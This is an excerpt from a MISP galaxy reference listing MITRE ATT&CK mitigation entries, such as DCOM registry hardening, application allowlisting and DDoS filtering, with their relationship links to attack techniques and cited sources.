The tag is: *misp-galaxy:mitre-course-of-action="Execution through Module Load Mitigation - T1129"*

View relationships graph

Execution through Module Load Mitigation - T1129 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Shared Modules - T1129" with estimative-language:likelihood-probability="almost-certain"

Table 4635. Table References

Links
https://attack.mitre.org/mitigations/T1129

Distributed Component Object Model Mitigation - T1175

Modify Registry settings (directly or using Dcomcnfg.exe) in <code>HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID{AppID_GUID}</code> associated with the process-wide security of individual COM applications. (Citation: Microsoft Process Wide Com Keys)

Modify Registry settings (directly or using Dcomcnfg.exe) in <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole</code> associated with system-wide security defaults for all COM applications that do no set their own process-wide security. (Citation: Microsoft System Wide Com Keys) (Citation: Microsoft COM ACL)

Consider disabling DCOM through Dcomcnfg.exe. (Citation: Microsoft Disable DCOM)

Enable Windows firewall, which prevents DCOM instantiation by default.

Ensure all COM alerts and Protected View are enabled. (Citation: Microsoft Protected View)

The tag is: *misp-galaxy:mitre-course-of-action="Distributed Component Object Model Mitigation - T1175"*

View relationships graph

Distributed Component Object Model Mitigation - T1175 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Component Object Model and Distributed COM - T1175" with estimative-language:likelihood-probability="almost-certain"

Table 4636. Table References

Links
https://attack.mitre.org/mitigations/T1175
https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1
https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx
https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653
https://technet.microsoft.com/library/cc771387.aspx

Man in the Browser Mitigation - T1185

Since browser pivoting requires a high integrity process to launch from, restricting user permissions and addressing Privilege Escalation and [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) opportunities can limit the exposure to this technique.

Close all browser sessions regularly and when they are no longer needed.

The tag is: *misp-galaxy:mitre-course-of-action="Man in the Browser Mitigation - T1185"*

View relationships graph

Man in the Browser Mitigation - T1185 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Browser Session Hijacking - T1185" with estimative-language:likelihood-probability="almost-certain"

Table 4637. Table References

Links
https://attack.mitre.org/mitigations/T1185

Hidden Files and Directories Mitigation - T1158

Mitigation of this technique may be difficult and unadvised due to the the legitimate use of hidden files and directories.

The tag is: *misp-galaxy:mitre-course-of-action="Hidden Files and Directories Mitigation - T1158"*

View relationships graph

Hidden Files and Directories Mitigation - T1158 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1158" with estimative-language:likelihood-probability="almost-certain"

Table 4638. Table References

Links
https://attack.mitre.org/mitigations/T1158

Data Encrypted for Impact Mitigation - T1486

Consider implementing IT disaster recovery plans that contain procedures for regularly taking and testing data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP)

In some cases, the means to decrypt files affected by a ransomware campaign is released to the public. Research trusted sources for public releases of decryptor tools/keys to reverse the effects of ransomware.

Identify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Data Encrypted for Impact Mitigation - T1486"*

View relationships graph

Data Encrypted for Impact Mitigation - T1486 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"

Table 4639. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599

https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1486
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx
https://www.ready.gov/business/implementation/IT

Network Denial of Service Mitigation - T1498

When flood volumes exceed the capacity of the network connection being targeted, it is typically necessary to intercept the incoming traffic upstream to filter out the attack traffic from the legitimate traffic. Such defenses can be provided by the hosting Internet Service Provider (ISP) or by a 3rd party such as a Content Delivery Network (CDN) or providers specializing in DoS mitigations.(Citation: CERT-EU DDoS March 2017)

Depending on flood volume, on-premises filtering may be possible by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport.(Citation: CERT-EU DDoS March 2017)

As immediate response may require rapid engagement of 3rd parties, analyze the risk associated to critical resources being affected by Network DoS attacks and create a disaster recovery plan/business continuity plan to respond to incidents.(Citation: CERT-EU DDoS March 2017)

The tag is: *misp-galaxy:mitre-course-of-action="Network Denial of Service Mitigation - T1498"*

View relationships graph

Network Denial of Service Mitigation - T1498 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Network Denial of Service - T1498" with estimative-language:likelihood-probability="almost-certain"

Table 4640. Table References

Links
http://cert.europa.eu/static/WhitePapers/CERT-EU_Security_Whitepaper_DDoS_17-003.pdf
https://attack.mitre.org/mitigations/T1498

Endpoint Denial of Service Mitigation - T1499

Leverage services provided by Content Delivery Networks (CDN) or providers specializing in DoS mitigations to filter traffic upstream from services.(Citation: CERT-EU DDoS March 2017) Filter boundary traffic by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport. To defend against SYN floods, enable SYN Cookies.

The tag is: *misp-galaxy:mitre-course-of-action="Endpoint Denial of Service Mitigation - T1499"*

View relationships graph

Endpoint Denial of Service Mitigation - T1499 has relationships with:

* mitigates: misp-galaxy:mitre-attack-pattern="OS Exhaustion Flood - T1499.001" with estimative-language:likelihood-probability="almost-certain"
* mitigates: misp-galaxy:mitre-attack-pattern="Application Exhaustion Flood - T1499.003" with estimative-language:likelihood-probability="almost-certain"
* mitigates: misp-galaxy:mitre-attack-pattern="Application or System Exploitation - T1499.004" with estimative-language:likelihood-probability="almost-certain"
* mitigates: misp-galaxy:mitre-attack-pattern="Service Exhaustion Flood - T1499.002" with estimative-language:likelihood-probability="almost-certain"
* mitigates: misp-galaxy:mitre-attack-pattern="Endpoint Denial of Service - T1499" with estimative-language:likelihood-probability="almost-certain"

Table 4641. Table References

Links
http://cert.europa.eu/static/WhitePapers/CERT-EU_Security_Whitepaper_DDoS_17-003.pdf
https://attack.mitre.org/mitigations/T1499

Exploit Public-Facing Application Mitigation - T1190

Application isolation and least privilege help lesson the impact of an exploit. Application isolation will limit what other processes and system features the exploited target can access, and least privilege for service accounts will limit what permissions the exploited process gets on the rest of the system. Web Application Firewalls may be used to limit exposure of applications.

Segment externally facing servers and services from the rest of the network with a DMZ or on separate hosting infrastructure.

Use secure coding best practices when designing custom software that is meant for deployment to externally facing systems. Avoid issues documented by OWASP, CWE, and other software weakness identification efforts.

Regularly scan externally facing systems for vulnerabilities and establish procedures to rapidly patch systems when critical vulnerabilities are discovered through scanning and through public disclosure.

The tag is: *misp-galaxy:mitre-course-of-action="Exploit Public-Facing Application Mitigation - T1190"*

View relationships graph

Exploit Public-Facing Application Mitigation - T1190 has relationships with:

* mitigates: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 4642. Table References

Links
https://attack.mitre.org/mitigations/T1190

Two-Factor Authentication Interception Mitigation - T1111

Remove smart cards when not in use. Protect devices and services used to transmit and receive out-of-band codes.

Identify and block potentially malicious software that may be used to intercept 2FA credentials on a system by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Two-Factor Authentication Interception Mitigation - T1111"*

View relationships graph

Two-Factor Authentication Interception Mitigation - T1111 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Multi-Factor Authentication Interception - T1111" with estimative-language:likelihood-probability="almost-certain"

Table 4643. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1111
https://technet.microsoft.com/en-us/library/ee791851.aspx

.bash_profile and .bashrc Mitigation - T1156

Making these files immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user level persistence.

The tag is: *misp-galaxy:mitre-course-of-action=".bash_profile and .bashrc Mitigation - T1156"*

View relationships graph

bash_profile and .bashrc Mitigation - T1156 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Malicious Shell Modification - T1156" with estimative-language:likelihood-probability="almost-certain"

Table 4644. Table References

Links
https://attack.mitre.org/mitigations/T1156

System Owner/User Discovery Mitigation - T1033

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about system users, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="System Owner/User Discovery Mitigation - T1033"*

View relationships graph

System Owner/User Discovery Mitigation - T1033 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

Table 4645. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1033
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx

Application Window Discovery Mitigation - T1010

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Application Window Discovery Mitigation - T1010"*

View relationships graph

Application Window Discovery Mitigation - T1010 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"

Table 4646. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1010
https://technet.microsoft.com/en-us/library/ee791851.aspx

Behavior Prevention on Endpoint - M1040

Use capabilities to prevent suspicious behavior patterns from occurring on endpoint systems. This could include suspicious process, file, API call, etc. behavior.

The tag is: *misp-galaxy:mitre-course-of-action="Behavior Prevention on Endpoint - M1040"*

View relationships graph

Behavior Prevention on Endpoint - M1040 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Extra Window Memory Injection - T1055.011" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="PubPrn - T1216.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Create or Modify System Process - T1543" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1559.002" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Office Application Startup - T1137" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Add-ins - T1137.006" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Outlook Rules - T1137.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Thread Execution Hijacking - T1055.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Process Doppelgänging - T1055.013" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Office Template Macros - T1137.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Asynchronous Procedure Call - T1055.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Portable Executable Injection - T1055.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="VDSO Hijacking - T1055.014" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="KernelCallbackTable - T1574.013" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Outlook Forms - T1137.003" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Inter-Process Communication - T1559" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Hijack Execution Flow - T1574" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Outlook Home Page - T1137.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="System Services - T1569" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Proc Memory - T1055.009" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Thread Local Storage - T1055.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Ptrace System Calls - T1055.008" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="ListPlanting - T1055.015" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Office Test - T1137.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1173" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 4647. Table References

Links
https://attack.mitre.org/mitigations/M1040

Winlogon Helper DLL Mitigation - T1004

Limit the privileges of user accounts so that only authorized administrators can perform Winlogon helper changes.

Identify and block potentially malicious software that may be executed through the Winlogon helper process by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.

The tag is: *misp-galaxy:mitre-course-of-action="Winlogon Helper DLL Mitigation - T1004"*

View relationships graph

Winlogon Helper DLL Mitigation - T1004 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1004" with estimative-language:likelihood-probability="almost-certain"

Table 4648. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1004

Compile After Delivery Mitigation - T1500

This type of technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, blocking all file compilation may have unintended side effects, such as preventing legitimate OS frameworks and code development mechanisms from operating properly. Consider removing compilers if not needed, otherwise efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

Identify unnecessary system utilities or potentially malicious software that may be used to decrypt, deobfuscate, decode, and compile files or information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Compile After Delivery Mitigation - T1500"*

View relationships graph

Compile After Delivery Mitigation - T1500 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Compile After Delivery - T1500" with estimative-language:likelihood-probability="almost-certain"

Table 4649. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1500
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx

Use Recent OS Version - M1006

New mobile operating system versions bring not only patches against discovered vulnerabilities but also often bring security architecture improvements that provide resilience against potential vulnerabilities or weaknesses that have not yet been discovered. They may also bring improvements that block use of observed adversary techniques.

The tag is: *misp-galaxy:mitre-course-of-action="Use Recent OS Version - M1006"*

View relationships graph

Use Recent OS Version - M1006 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Process Discovery - T1424" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Abuse Accessibility Features - T1453" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Keychain - T1579" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Access Sensitive Data in Device Logs - T1413" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exploit via Radio Interfaces - T1477" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Network Traffic Capture or Redirection - T1410" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Input Prompt - T1411" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exploit via Charging Station or PC - T1458" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-

language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Access Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="URI Hijacking - T1416" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Geofencing - T1581" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Device Administrator Permissions - T1401" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Modify Cached Executable Code - T1403" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Carrier Billing Fraud - T1448" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Device Lockout - T1446" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Attack PC via USB Connection - T1427" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Broadcast Receivers - T1402" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Capture Clipboard Data - T1414" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Install Insecure or Malicious Configuration - T1478" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1420" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Compromise Application Executable - T1577" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Lockscreen Bypass - T1461" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Clipboard Modification - T1510" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-

language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Exploit TEE Vulnerability - T1405" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1456" with estimative-language:likelihood-probability="almost-certain"

Table 4650. Table References

Links
https://attack.mitre.org/mitigations/M1006

System Service Discovery Mitigation - T1007

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="System Service Discovery Mitigation - T1007"*

View relationships graph

System Service Discovery Mitigation - T1007 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"

Table 4651. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1007
https://technet.microsoft.com/en-us/library/ee791851.aspx

Taint Shared Content Mitigation - T1080

Protect shared folders by minimizing users who have write access. Use utilities that detect or mitigate common features used in exploitation, such as the Microsoft Enhanced Mitigation Experience Toolkit (EMET).

Reduce potential lateral movement risk by using web-based document management and collaboration services that do not use network file and directory sharing.

Identify potentially malicious software that may be used to taint content or may result from it and audit and/or block the unknown programs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Taint Shared Content Mitigation - T1080"*

View relationships graph

Taint Shared Content Mitigation - T1080 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080" with estimative-language:likelihood-probability="almost-certain"

Table 4652. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://attack.mitre.org/mitigations/T1080
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm

Security Support Provider Mitigation - T1101

Windows 8.1, Windows Server 2012 R2, and later versions may make LSA run as a Protected Process Light (PPL) by setting the Registry key <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL</code>, which requires all SSP DLLs to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)

The tag is: *misp-galaxy:mitre-course-of-action="Security Support Provider Mitigation - T1101"*

View relationships graph

Security Support Provider Mitigation - T1101 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Security Support Provider - T1101" with estimative-language:likelihood-probability="almost-certain"

Table 4653. Table References

Links

http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html
https://attack.mitre.org/mitigations/T1101
https://technet.microsoft.com/en-us/library/dn408187.aspx

Peripheral Device Discovery Mitigation - T1120

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about peripheral devices, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Peripheral Device Discovery Mitigation - T1120"*

View relationships graph

Peripheral Device Discovery Mitigation - T1120 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"

Table 4654. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1120
https://technet.microsoft.com/en-us/library/ee791851.aspx

Password Policy Discovery Mitigation - T1201

Mitigating discovery of password policies is not advised since the information is required to be known by systems and users of a network. Ensure password policies are such that they mitigate brute force attacks yet will not give an adversary an information advantage because the policies are too light. Active Directory is a common way to set and enforce password policies throughout an enterprise network. (Citation: Microsoft Password Complexity)

The tag is: *misp-galaxy:mitre-course-of-action="Password Policy Discovery Mitigation - T1201"*

View relationships graph

Password Policy Discovery Mitigation - T1201 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Password Policy Discovery - T1201" with estimative-language:likelihood-probability="almost-certain"

Table 4655. Table References

Links
https://attack.mitre.org/mitigations/T1201
https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/password-must-meet-complexity-requirements

Install Root Certificate Mitigation - T1130

HTTP Public Key Pinning (HPKP) is one method to mitigate potential man-in-the-middle situations where and adversary uses a mis-issued or fraudulent certificate to intercept encrypted communications by enforcing use of an expected certificate. (Citation: Wikipedia HPKP)

Windows Group Policy can be used to manage root certificates and the <code>Flags</code> value of <code>HKLM\SOFTWARE\Policies\Microsoft\SystemCertificates\Root\ProtectedRoots</code> can be set to 1 to prevent non-administrator users from making further root installations into their own HKCU certificate store. (Citation: SpectorOps Code Signing Dec 2017)

The tag is: *misp-galaxy:mitre-course-of-action="Install Root Certificate Mitigation - T1130"*

View relationships graph

Install Root Certificate Mitigation - T1130 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1130" with estimative-language:likelihood-probability="almost-certain"

Table 4656. Table References

Links
https://attack.mitre.org/mitigations/T1130
https://en.wikipedia.org/wiki/HTTP_Public_Key_Pinning
https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec

Modify Existing Service Mitigation - T1031

